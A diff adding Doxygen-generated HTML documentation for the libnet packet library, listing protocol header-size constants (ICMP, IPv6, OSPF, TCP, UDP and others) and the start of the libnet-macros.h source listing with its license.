+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_TS_H&nbsp;&nbsp;&nbsp;0x14
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_TIMESTAMP headr:20 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a20" doxytag="libnet-headers.h::LIBNET_ICMPV4_UNREACH_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV4_UNREACH_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP_UNREACH header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a24" doxytag="libnet-headers.h::LIBNET_ICMPV6_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ICMPV6_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ICMP6 header base: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a25" doxytag="libnet-headers.h::LIBNET_IGMP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IGMP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IGMP header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a34" doxytag="libnet-headers.h::LIBNET_IPSEC_AH_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPSEC_AH_H&nbsp;&nbsp;&nbsp;0x10
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPSEC AH header: 16 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a33" doxytag="libnet-headers.h::LIBNET_IPSEC_ESP_FTR_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPSEC_ESP_FTR_H&nbsp;&nbsp;&nbsp;0x02
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPSEC ESP footer: 2 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a32" doxytag="libnet-headers.h::LIBNET_IPSEC_ESP_HDR_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPSEC_ESP_HDR_H&nbsp;&nbsp;&nbsp;0x0c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPSEC ESP header: 12 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a26" doxytag="libnet-headers.h::LIBNET_IPV4_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV4_H&nbsp;&nbsp;&nbsp;0x14
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv4 header: 20 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a30" doxytag="libnet-headers.h::LIBNET_IPV6_DESTOPTS_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV6_DESTOPTS_H&nbsp;&nbsp;&nbsp;0x02
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv6 dest opts base: 2 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a28" doxytag="libnet-headers.h::LIBNET_IPV6_FRAG_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV6_FRAG_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv6 frag header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a27" doxytag="libnet-headers.h::LIBNET_IPV6_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV6_H&nbsp;&nbsp;&nbsp;0x28
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv6 header: 40 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a31" doxytag="libnet-headers.h::LIBNET_IPV6_HBHOPTS_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV6_HBHOPTS_H&nbsp;&nbsp;&nbsp;0x02
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv6 hop/hop opt base:2 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a29" doxytag="libnet-headers.h::LIBNET_IPV6_ROUTING_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_IPV6_ROUTING_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IPv6 frag header base:4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a35" doxytag="libnet-headers.h::LIBNET_ISL_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ISL_H&nbsp;&nbsp;&nbsp;0x1a
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+ISL header: 26 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a38" doxytag="libnet-headers.h::LIBNET_MPLS_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_MPLS_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+MPLS header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a51" doxytag="libnet-headers.h::LIBNET_NTP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_NTP_H&nbsp;&nbsp;&nbsp;0x30
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+NTP header: 48 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a45" doxytag="libnet-headers.h::LIBNET_OSPF_AUTH_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_AUTH_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF AUTH header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a46" doxytag="libnet-headers.h::LIBNET_OSPF_CKSUM" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_CKSUM&nbsp;&nbsp;&nbsp;0x10
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF CKSUM header: 16 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a41" doxytag="libnet-headers.h::LIBNET_OSPF_DBD_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_DBD_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF DBD header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a39" doxytag="libnet-headers.h::LIBNET_OSPF_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_H&nbsp;&nbsp;&nbsp;0x10
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF header: 16 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a40" doxytag="libnet-headers.h::LIBNET_OSPF_HELLO_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_HELLO_H&nbsp;&nbsp;&nbsp;0x18
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF hello header: 24 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a50" doxytag="libnet-headers.h::LIBNET_OSPF_LS_AS_EXT_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LS_AS_EXT_H&nbsp;&nbsp;&nbsp;0x10
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LS AS header: 16 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a48" doxytag="libnet-headers.h::LIBNET_OSPF_LS_NET_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LS_NET_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LS NET header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a47" doxytag="libnet-headers.h::LIBNET_OSPF_LS_RTR_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LS_RTR_H&nbsp;&nbsp;&nbsp;0x10
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LS RTR header: 16 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a49" doxytag="libnet-headers.h::LIBNET_OSPF_LS_SUM_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LS_SUM_H&nbsp;&nbsp;&nbsp;0x0c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LS SUM header: 12 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a44" doxytag="libnet-headers.h::LIBNET_OSPF_LSA_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LSA_H&nbsp;&nbsp;&nbsp;0x14
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LSA header: 20 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a42" doxytag="libnet-headers.h::LIBNET_OSPF_LSR_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LSR_H&nbsp;&nbsp;&nbsp;0x0c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LSR header: 12 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a43" doxytag="libnet-headers.h::LIBNET_OSPF_LSU_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OSPF_LSU_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+OSPF LSU header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a52" doxytag="libnet-headers.h::LIBNET_RIP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_RIP_H&nbsp;&nbsp;&nbsp;0x18
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+RIP header base: 24 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a53" doxytag="libnet-headers.h::LIBNET_RPC_CALL_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_RPC_CALL_H&nbsp;&nbsp;&nbsp;0x28
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+RPC header: 40 bytes (assuming 8 byte auth header) </td>
+ </tr>
+</table>
+<a class="anchor" name="a54" doxytag="libnet-headers.h::LIBNET_RPC_CALL_TCP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_RPC_CALL_TCP_H&nbsp;&nbsp;&nbsp;0x2c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+RPC header: 44 bytes (with record marking) </td>
+ </tr>
+</table>
+<a class="anchor" name="a56" doxytag="libnet-headers.h::LIBNET_STP_CONF_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_STP_CONF_H&nbsp;&nbsp;&nbsp;0x23
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+STP conf header: 35 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a57" doxytag="libnet-headers.h::LIBNET_STP_TCN_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_STP_TCN_H&nbsp;&nbsp;&nbsp;0x04
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+STP tcn header: 4 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a14" doxytag="libnet-headers.h::LIBNET_TCP_DNSV4_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_TCP_DNSV4_H&nbsp;&nbsp;&nbsp;0x0e
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+TCP DNS v4 header: 14 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a59" doxytag="libnet-headers.h::LIBNET_TCP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_TCP_H&nbsp;&nbsp;&nbsp;0x14
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+TCP header: 20 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a58" doxytag="libnet-headers.h::LIBNET_TOKEN_RING_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_TOKEN_RING_H&nbsp;&nbsp;&nbsp;0x16
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Token Ring header: 22 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a13" doxytag="libnet-headers.h::LIBNET_UDP_DNSV4_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_UDP_DNSV4_H&nbsp;&nbsp;&nbsp;0x0c
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+UDP DNS v4 header: 12 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a60" doxytag="libnet-headers.h::LIBNET_UDP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_UDP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+UDP header: 8 bytes </td>
+ </tr>
+</table>
+<a class="anchor" name="a61" doxytag="libnet-headers.h::LIBNET_VRRP_H" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_VRRP_H&nbsp;&nbsp;&nbsp;0x08
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+VRRP header: 8 bytes </td>
+ </tr>
+</table>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-macros_8h-source.html b/libnet/doc/html/libnet-macros_8h-source.html
new file mode 100644
index 0000000..70c55d1
--- /dev/null
+++ b/libnet/doc/html/libnet-macros_8h-source.html
@@ -0,0 +1,161 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-macros.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-macros.h</h1><a href="libnet-macros_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-macros.h,v 1.6 2004/03/01 20:26:12 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-macros.h - Network routine library macro header file</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifndef __LIBNET_MACROS_H</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_MACROS_H</span>
+00034 <span class="preprocessor"></span>
+00039 <span class="comment">/* for systems without snprintf */</span>
+00040 <span class="preprocessor">#if defined(NO_SNPRINTF)</span>
+00041 <span class="preprocessor"></span><span class="preprocessor">#define snprintf(buf, len, args...) sprintf(buf, ##args)</span>
+00042 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00043 <span class="preprocessor"></span>
+00044
+<a name="l00049"></a><a class="code" href="libnet-macros_8h.html#a0">00049</a> <span class="preprocessor">#define LIBNET_DONT_RESOLVE 0</span>
+00050 <span class="preprocessor"></span>
+<a name="l00055"></a><a class="code" href="libnet-macros_8h.html#a1">00055</a> <span class="preprocessor">#define LIBNET_RESOLVE 1</span>
+00056 <span class="preprocessor"></span>
+<a name="l00060"></a><a class="code" href="libnet-macros_8h.html#a2">00060</a> <span class="preprocessor">#define LIBNET_ON 0</span>
+00061 <span class="preprocessor"></span>
+<a name="l00065"></a><a class="code" href="libnet-macros_8h.html#a3">00065</a> <span class="preprocessor">#define LIBNET_OFF 1</span>
+00066 <span class="preprocessor"></span>
+00070 <span class="preprocessor">#ifndef IN6ADDR_ERROR_INIT</span>
+<a name="l00071"></a><a class="code" href="libnet-macros_8h.html#a4">00071</a> <span class="preprocessor"></span><span class="preprocessor">#define IN6ADDR_ERROR_INIT { { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \</span>
+00072 <span class="preprocessor"> 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \</span>
+00073 <span class="preprocessor"> 0xff, 0xff } } }</span>
+00074 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00075 <span class="preprocessor"></span>
+<a name="l00079"></a><a class="code" href="libnet-macros_8h.html#a5">00079</a> <span class="preprocessor">#define LIBNET_PR2 0</span>
